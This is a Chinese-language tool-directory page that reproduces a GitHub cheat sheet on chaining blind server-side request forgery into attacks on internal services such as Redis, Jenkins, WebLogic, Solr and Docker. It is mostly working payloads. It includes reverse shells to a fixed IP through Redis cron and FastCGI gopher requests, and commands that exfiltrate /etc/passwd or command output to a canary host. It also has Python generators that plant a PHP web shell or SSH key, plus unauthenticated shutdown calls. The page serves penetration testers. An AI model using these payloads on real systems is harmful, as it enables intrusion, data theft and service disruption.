Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
blind-ssrf-chains — 一份详尽列表,涵盖所有可能利用你的盲SSRF漏洞进行链式攻击的方式 | Kitploit
工具/GitHubGitHub/assetnote/blind-ssrf-chains
侦察漏洞分析漏洞利用Web安全渗透测试云安全学习与教育精选资源
GitHubassetnote/blind-ssrf-chains

blind-ssrf-chains

一份详尽列表,涵盖所有可能利用你的盲SSRF漏洞进行链式攻击的方式

查看仓库
9861224年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

介绍

什么是服务端请求伪造(SSRF)?

服务端请求伪造发生在当你能够迫使服务器代表你发起任意请求时。由于请求是由服务器发起的,因此有可能根据服务器在网络中的位置访问内部资源。在云环境中,由于存在可能包含敏感凭证或密钥的元数据端点,SSRF 构成了更重大的风险。

盲 SSRF

在利用服务端请求伪造时,我们常常会发现自己处于无法读取响应的情况。在行业中,这种行为通常被称为“盲 SSRF”。在这种情况下,我们如何证明其影响?这是由 Justin Gardner 在 Twitter 上引发的一场有趣的讨论:

最近我发现了大量的盲 SSRF。大家过去曾使用过哪些一次性远程代码执行(RCE)作为切入点?我可以访问一些 Kafka 和其他很多东西。@nnwakelam @thedawgyg

— Justin Gardner (@Rhynorater) 2021年1月13日

如果你能够访问内部资源,有多种潜在的利用链可以执行以证明影响。这篇博文试图详细阐述在利用盲 SSRF 时每种已知的利用链,并将随着更多技术的发现和分享而更新。

如果我们遗漏了任何技术,请通过 Twitter 或私信告诉我们:@assetnote,我们将将其添加到这篇博文中。

SSRF 金丝雀

我倾向于称它们为 SSRF 金丝雀,当将盲 SSRF 链接到内部另一个能够进行外部调用的 SSRF,或通过应用特定的开放重定向或盲 XXE 时。Confluence、Artifactory、Jenkins 和 JAMF 都有一些效果不错的例子。

— Frans Rosén (@fransrosen) 2021年1月13日

为了验证你可以与内部服务或应用程序交互,你可以利用“SSRF 金丝雀”。

这意味着我们可以请求一个内部 URL,该 URL 会执行另一个 SSRF 并调用你的金丝雀主机。如果你收到对你的金丝雀主机的请求,说明你成功命中了一个也能够发起出站请求的内部服务。

这是一种有效的方法,用于验证 SSRF 漏洞是否能够访问内部网络或应用程序,以及验证内部网络中是否存在某些软件。你还可以根据 SSRF 金丝雀所在的位置,可能地将其用作跳板,访问内部网络中更敏感的部分。

使用 DNS 数据源和 AltDNS 查找内部主机

目标是尽可能多地找到内部主机,可以利用 DNS 数据源来查找所有指向内部主机的记录。

在云环境中,我们经常看到指向内部 VPC 内主机的 ELB。根据你目标资产所在的 VPC,可能可以访问同一 VPC 内的其他主机。

例如,考虑以下从 DNS 数据源中发现的主机:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

root@kitploit:~
你可以假设 `es` 代表 Elasticsearch,然后对此主机进行进一步攻击。你也可以将所有这些盲 SSRF 载荷喷洒到通过此方法发现的所有“内部”主机上。这通常很有效。

为了找到更多内部主机,我建议你将所有 DNS 数据收集起来,然后使用类似 [AltDNS](https://github.com/infosec-au/altdns) 的工具生成排列组合,并用 [快速 DNS 爆破器](https://github.com/blechschmidt/massdns) 进行解析。

完成此步骤后,识别所有新发现的内部主机,并将它们作为盲 SSRF 链的一部分使用。

## 侧信道泄露

在利用盲 SSRF 漏洞时,你可能能够泄露一些关于返回响应的信息。例如,假设你通过 XXE 实现了盲 SSRF,错误消息可能表明是否:

- 返回了响应

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

vs.

- 主机和端口不可达

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

类似地,除了 XXE 之外,Web 应用程序也可能存在侧信道泄露,这可以通过检查以下方面的差异来确定:

- **响应状态码**:

在线内部资产:端口返回 `200 OK`,而离线内部资产:端口返回 `500 Internal Server Error`

- **响应内容**:

根据你尝试请求的 URL 是否可达,响应大小(字节)会变小或变大。

- **响应时间**:

根据你尝试请求的 URL 是否可达,响应时间会变慢或变快。

---------------

# 技巧
**可通过 HTTP(s) 实现**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [其他 Atlassian 产品](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**可通过 Gopher 实现**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**工具**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**可通过 HTTP(s) 实现**

<div id="elasticsearch"></div>

## Elasticsearch

**常见绑定端口:9200**

当 Elasticsearch 部署在内部网络时,通常不需要身份验证。

如果你拥有部分盲 SSRF 能力,可以判断状态码,请检查以下端点是否返回 200:```http
/_cluster/health
/_cat/indices
/_cat/health

如果你有一个盲SSRF,可以发送POST请求,你可以通过向以下路径发送POST请求来关闭Elasticsearch实例:

注意:_shutdown API已从Elasticsearch 2.x及以上版本中移除。此功能仅适用于Elasticsearch 1.6及以下版本:```http /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown

root@kitploit:~
<div id="weblogic"></div>

## Weblogic

**常用绑定端口:80, 443 (SSL), 7001, 8888**

**SSRF Canary: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

这也适用于GET请求:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

root@kitploit:~
此端点也容易受到 CRLF injection 攻击:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

将产生以下请求:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive

sdf
root@kitploit:~
**SSRF Canary: CVE-2020-14883**

来自 [这里](https://forum.90sec.com/t/topic/1412).

Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

root@kitploit:~
<div id="consul"></div>

## Hashicorp Consul

**常用绑定端口:8500、8501(SSL)**

相关文章可在[此处](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)找到。

<div id="shellshock"></div>

## Shellshock

**常用绑定端口:80、443(SSL)、8080**

为了有效测试Shellshock,您可能需要添加包含有效负载的请求头。以下CGI路径值得尝试:

待测试的CGI路径简要列表:

[包含路径的Gist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4)。

**SSRF Canary:通过User Agent进行Shellshock**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

常用绑定端口:80, 8080, 8888, 8082

Apache Druid 的 API 参考文档请参见此处。

如果你可以查看状态码,请检查以下路径是否返回 200 状态码:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus

root@kitploit:~
关闭任务,需要您猜测任务ID或数据源名称:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

关闭 Apache Druid Overlords 上的 supervisors:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown

root@kitploit:~
<div id="solr"></div>

## Apache Solr

**常用绑定端口:8983**

**SSRF 注入点:Shards 参数**

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="zh" dir="ltr">补充一下 shubham 的说法——扫描 Solr 相对容易。有一个 shards= 参数允许你通过 SSRF 反弹到 SSRF,从而验证你是否在盲目地命中一个 Solr 实例。</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">2021年1月13日</a></blockquote>

摘自[此处](https://github.com/veracode-research/solr-injection)。```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}

root@kitploit:~
**通过 dataImportHandler 实现 RCE**

[关于通过 dataImportHandler 实现 RCE 的研究](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)

<div id="peoplesoft"></div>

## PeopleSoft

**常用绑定端口:80,443(SSL)**

取自这项研究 [这里](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce)。

**SSRF 金丝雀:XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...

root@kitploit:~
<div id="struts"></div>

## Apache Struts

**常见绑定端口:80、443(SSL)、8080、8443(SSL)**

摘自[此处](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).

**SSRF 检测: Struts2-016**:

将此附加到您知道的每个内部端点/URL的末尾:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

常用绑定端口:80,443 (SSL),8080,8443 (SSL)

取自此处。

SSRF金丝雀:从URL部署WAR```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

root@kitploit:~
<div id="confluence"></div>

## Confluence

**常用绑定端口:80、443(SSL)、8080、8443(SSL)**

**SSRF Canary:Sharelinks(2016年11月及更早发布的Confluence版本)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian 安全工单 OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

root@kitploit:~
<div id="jira"></div>

## Jira

**常用绑定端口:80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**

[Atlassian 安全工单 OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian安全工单 JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

root@kitploit:~
<div id="atlassian-products"></div>

## 其他 Atlassian 产品

**常用绑定端口:80,443 (SSL),8080,8443 (SSL)**

**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Atlassian 安全工单 OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

常用绑定端口:4242

OpenTSDB远程代码执行

SSRF Canary: 通过RCE使用curl```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

root@kitploit:~
[OpenTSDB 2.4.0 远程代码执行](https://github.com/OpenTSDB/opentsdb/issues/2051)

**SSRF Canary: 通过RCE执行curl - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

常用绑定端口:80、443(SSL)、8080、8888

优秀文章 在此.

SSRF Canary:CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

root@kitploit:~
**RCE**

按照以下说明通过GET实现RCE:[黑客Jenkins第二部分 - 滥用元编程实现未授权RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

通过 Groovy 实现 RCE``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

root@kitploit:~
<div id="hystrix"></div>

## Hystrix 仪表盘

**常用绑定端口: 80,443 (SSL),8080**

Spring Cloud Netflix, 版本 2.2.x 低于 2.2.4, 版本 2.1.x 低于 2.1.6.

**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

常用绑定端口: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF 金丝雀: CVE-2019-6715

这需要使用 PUT 请求:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

root@kitploit:~
**SSRF Canary**

该漏洞的公告发布于此:[W3 Total Cache SSRF 漏洞](https://klikki.fi/adv/w3_total_cache.html)

以下 PHP 代码将为你的 SSRF Canary 主机生成一个有效载荷(将 `url` 替换为你的 canary 主机):```php
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

常用绑定端口:2375、2376(SSL)

如果你有部分盲SSRF,你可以使用以下路径来验证Docker API的存在:```bash /containers/json /secrets /services

root@kitploit:~
**通过运行任意 Docker 镜像实现 RCE**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

将 alpine 替换为你希望 Docker 容器运行的任意镜像。

Gitlab Prometheus Redis Exporter

常用绑定端口:9121

该漏洞影响 13.1.1 版本之前的 Gitlab 实例。根据 Gitlab 文档 所述,Prometheus and its exporters are on by default, starting with GitLab 9.0.

这些导出器为攻击者提供了一种绝佳的方法,利用 CVE-2020-13379 进行横向移动并攻击其他服务。其中容易被利用的一个导出器是 Redis Exporter。

以下端点允许攻击者通过目标参数转储 Redis 服务器中的所有键:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

root@kitploit:~
**可能通过Gopher实现**

<div id="redis"></div>

## Redis

**常用绑定端口:6379**

推荐阅读:

- [尝试通过HTTP请求攻击Redis](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [针对Redis的SSRF利用](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)

**通过Cron实现RCE** - [Gopher攻击面](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

root@kitploit:~
**通过 Shell 上传实现 RCE(PHP)** - [Redis Getshell 总结](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

通过authorized_keys实现RCE - Redis Getshell 总结```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"

shell="\n\n\n\n"

sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd

if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

root@kitploit:~
**通过Git协议在GitLab上实现远程代码执行**

Liveoverflow 有一篇很棒的文章,[链接在此](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)。

虽然利用此漏洞需要拥有对GitLab的认证访问权限,但我在这里包含此有效载荷,因为`git`协议可能在你正在渗透的目标上有效。此载荷仅供参考。```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

常用绑定端口:11211

  • vBulletin Memcache 远程代码执行
  • GitHub Enterprise Memcache 远程代码执行
  • Memcache 的 Gopher 负载示例```bash gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/%0d%0adelete ssrftest%0d%0a
root@kitploit:~
<div id="tomcat"></div>

## Apache Tomcat

**常见绑定端口:80、443(SSL)、8080、8443(SSL)**

仅对Tomcat 6有效:

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

使用此技术的CTF Writeup:

[从XXE到RCE:Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)


<div id="fastcgi"></div>

## FastCGI

**常见绑定端口:80、443(SSL)**

此内容取自[此处](https://blog.chaitin.cn/gopher-attack-surfaces/)。```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

常用绑定端口:1090、1098、1099、1199、4443-4446、8999-9010、9999

允许任意字节(基于gopher协议)的盲SSRF漏洞可用于对Java RMI默认组件(RMI Registry、Distributed Garbage Collector、Activation System)执行反序列化或代码库攻击。 详细的技术文章可参考此处。以下列表展示了生成payload的示例:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]

root@kitploit:~
**工具**

<div id="gopherus"></div>

## Gopherus

- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [关于 Gopherus 的博客文章](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

此工具可为以下服务生成 Gopher 载荷:

- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache

<div id="remote-method-guesser"></div>

## remote-method-guesser

- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [关于 SSRF 用法的博客文章](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

*remote-method-guesser* 是一个 *Java RMI* 漏洞扫描器,支持大多数常见 *Java RMI* 漏洞的利用操作。多数可用操作支持 ``--ssrf`` 选项,可为请求的操作生成 *SSRF* 载荷。结合 ``--gopher`` 选项,可直接生成可直接使用的 *gopher* 载荷。

<div id="ssrfproxy"></div>

## SSRF 代理

- [SSRF 代理](https://github.com/bcoles/ssrf_proxy)

SSRF 代理是一个多线程 HTTP 代理服务器,旨在通过易受服务器端请求伪造(SSRF)攻击的 HTTP 服务器隧道传输客户端 HTTP 流量。

---

致谢:

感谢以下人员对本文的贡献:

- [@Rhynorater - 对本文的多次贡献](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - SSRF canaries 概念](https://twitter.com/fransrosen)
- [@theabrahack - 通过 Jenkins Groovy 实现 RCE](https://twitter.com/@theabrahack)
- [@qtc_de - 通过 Java RMI 实现 RCE](https://twitter.com/qtc_de)
下载工具